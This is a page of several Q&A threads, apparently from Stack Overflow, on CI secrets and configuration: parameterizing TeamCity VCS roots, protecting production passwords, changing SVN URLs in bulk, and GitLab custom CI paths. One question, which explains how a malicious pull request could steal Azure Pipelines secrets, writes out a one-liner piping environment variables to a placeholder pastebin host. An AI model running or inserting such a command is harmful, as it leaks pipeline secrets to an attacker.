I am running TeamCity 9x and it seems that it does not support a VCS password parameter, meaning I have to either use SSH keys (proving difficult, but that's a separate issue) or enter the password for every build config which is unacceptable as we will eventually have well over 100 build config so changing the password would be too arduous.
Is there a way that I can specify the password once and inject that into each VCS root?
Kind of workaround solution, but still.
You could try parameterizing other VCS Root details instead!
Create one VCS root, provide username/password for it, parametrize whatever you want with standard Teamcity parameters. Then there are few possible ways of using parameters:
Provide parameters for every build as default values;
Ask for parameter value on build run (for manual builds);
Provide several build templates with parameters preset.
For example, on my current project we are using Git VCS Root with branch name parametrized. All builds with this VCS root are either have branch name set in their default parameters or use value provided from run menu.
Related
I have a public repo. Random GitHub users are free to create pull requests, and this is great.
My CI pipeline is described in a normal file in the repo called pipelines.yml (we use Azure pipelines).
Unfortunately this means that a random GitHub user is able to steal all my secret environment variables by creating a PR where they edit the pipelines.yml and add a bash script line with something like:
export | curl -XPOST 'http://pastebin-bla/xxxx'
Or run arbitrary code, in general. Right?
How can I verify that a malicious PR doesn't change at least some critical files?
How can I verify that a malicious PR doesn't change at least some critical files?
I am afraid we could not limit the PR doesn't change at least some critical files.
As workaround, we could turn off automatic fork builds and instead use pull request comments as a way to manually building these contributions, which give you an opportunity to review the code before triggering a build.
You could check the document Consider manually triggering fork builds for some more details.
For one of our repositories we set "Custom CI configuration path" inside GitLab to a remote gitlab-ci.yml. We want to do this to prevent Developers to change the gitlab-ci.yml file (as protected files are available in EE Premium and up). But except this purpose, the Custom CI configuration path feature should work anyway for Merge Requests.
Being in repo
group1/repo1
we set
.gitlab-ci.yml#group1/repo1-ci
repo1-ci repository exists and ci works correctly when we push to configured branches etc.
For Merge Request functionality GitLab tells us:
Detached merge request pipeline #123 failed for ...
Project group1/repo1-ci not found or access denied!
We added the developers to repo1-ci repo as developers, to be able to read the files. It does not help. Anyway the expectation is, that it is not run with user permissions, so it should simply find the gitlab-ci.yml file.
Any ideas on this?
So our expectations were right an it seems that we have to add one important thing into our considerations:
If a user interacts in the GitLab UI with the Merge Request features and you are using "Custom CI configuration path" for your gitlab-ci.yml file, please ensure
this user needs at least read permissions to that remote file, even if you moved it to another repo on purpose (e.g. use enhanced file protection in PREMIUM/ULTIMATE or push/merge protect the branches for the Developer role)
the user got this permission change applied in a running session
The last part failed for our users, as it worked one day later. Seems that they just continued working from their open merge request page and GitLab checks the accessibility out of this session (using a cookie, token or something which was not updated with the the access to the remote repo/file)
It works!
I am using the 3 build configurations to use VCS root as develop, staging and master. Each having custom parameters like build env, Kubernetes cluster, namespaces, etc.
However, sometimes my dev team needs to check if the master branch code is running correctly on dev env, dev K8s cluster, dev namespaces.
For that, I want to create the custom prompt-based parameters where they can choose the VCS Root with parameter options like develop, master or staging.
Can anyone please guide how to achieve this for the single build configuration? Can I parameterize the VCS root? I want to keep this prompt-based option so there will not be any automatic trigger required.
I will keep the the common 3 build configurations as it is. I just want to add 4th build configuration named as "Custom" where there will be choice for every parameter.
Yes, you can parameterize your VCS root,
if your repository is same for all environments then you have to set only one parameter for VCS root an that is for branch name.
Step 1 :
Write %branch-name% in VCS root configuration and save it.
The same parameter (config.branch-name) will be added automatically in your build configuration in which this VCS root used (new configuration as well as in existing configuration)
Step 2 :
In other configuration keep your config.branch-name parameter as it is ( Type : Configuration parameter, Display:Normal) but,
in new configuration, set Display : prompt for config.branch-name parameter
Note : This is only for setting variable based VCS root, assuming you can set all other parameters as per your requirement
We currently use TeamCity to build a deployment artifact, then a further TeamCity task takes that artifact and deploys it to our development and testing servers on demand.
We can store the passwords and other secret data in properties files that we can check into source control, as these are all internal servers and the developers have full access to them.
However for release to Production (and our final test layer) there are secret passwords and configuration that we don't want checked into the normal source control, or to have development be able to discover the passwords. So to do 'real' deployments we have to hand the artifact over to another team and they maintain a properties file with the production values.
What methods exist to store these secrets and allow TeamCity to run a deploy without ever leaking the secrets out?
(note I am one of the devs and it is not a trust issue... I don't want to have the ability to find out prod passwords so I can never accidently know them and do some horrific damage!)
Probably what you need here, is to create a separate project with narrower scope of permissions (for example, allow only certain people to edit build configurations). In this project create a build configuration, responsible for deployment. In this configuration, you can define a Typed Parameter of type 'password' to store the password to the production environment.
Another option is to use Deployer Plugin, especially its ability to deploy over ssh with private key authentication
If you are OK to use a third party solution, consider using a solution like CloudMunch which can help you to perform release management functions with these secure parameters collected at deploy time and encrypted post deployment.
Disclaimer: I work with CloudMunch
You can do 2 things.
Use a teamcity project to deploy artefacts for production only. This will only be accessible to ops members.
Teamcity also supports running agents with different user ids. You can create a new user id which can have access to the production "secrets" (passwords and configuration). Use this id to run the targets in the 1st step.
Does anyone know of a way to change the SVN url on a large number of VCS roots at once? Our SVN server is changing it's base URL and there's way too many VCS roots to change manually through the TC interface.
We are using SQL Server as the database for TeamCity so I'm going to poke around the schema. Doesn't seem like it will be a good idea tho.
All current VCS settings in TeamCity are stored in the file vcs-roots.xml in TeamCity configuration directory. So you can shutdown the server, make the change, and start the server again.
(Actually, you can make the change without shutdown phase, TeamCity should pick the changes on the fly)
Don't forget to backup the file first.